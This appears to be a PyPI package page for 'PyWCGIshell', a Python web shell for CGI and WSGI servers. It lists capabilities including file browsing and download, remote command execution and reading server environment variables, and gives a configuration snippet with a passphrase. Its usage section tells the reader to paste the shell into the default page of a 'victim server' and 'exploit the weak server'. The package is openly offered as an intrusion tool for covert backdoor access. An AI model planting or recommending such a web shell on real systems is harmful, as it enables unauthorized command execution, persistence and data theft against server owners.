Skip to main content

This package implement a WebShell for CGI and WSGI server.

Project description

PyWCGIshell

Description

This package implement a WebShell for CGI and WSGI server.

With this WebShell you can:

  • explore directories and download files
  • send a command line (with a history command)
  • get basic informations about environment server
  • get the environments variables

Requirements

This package require :

  • python3
  • python3 Standard Library

Installation

pip install PyWCGIshell

Usages

Command line:

(Command line is useful to try the webshell only)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Python script

from PyWCGIshell import WebShell

def my_default_cgi_page():
	print("")
	print("Hello World !")

webshell = WebShell()

webshell.type = "cgi" or "wsgi"
webshell.passphrase = "$HELL"
webshell.pass_type = "url" or "body" or "arguments" or "header_value" or "method"
webshell.standard_page = my_default_cgi_page

webshell.run()

To use this WebShell:

  • Configure and copy the WebShell code (server type, passphrase and passphrase location)
  • Paste it in the default page of the victim server
  • Send a request with the passphrase and exploit the weak server

Links

Licence

Licensed under the GPL, version 3.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

PyWCGIshell-0.0.1.tar.gz (19.4 kB view details)

Uploaded Source

File details

Details for the file PyWCGIshell-0.0.1.tar.gz.

File metadata

  • Download URL: PyWCGIshell-0.0.1.tar.gz
  • Upload date:
  • Size: 19.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/52.0.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.2

File hashes

Hashes for PyWCGIshell-0.0.1.tar.gz
Algorithm Hash digest
SHA256 016a3d40d06682e2afd1c88d2059adfca9321427f732262eed66d07e0a359ff0
MD5 71381e966c8facccae38c50bfb48111c
BLAKE2b-256 811f1223712d4e99f8034890ab106b674848ed47057d72167bbd1eff8aaea455

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page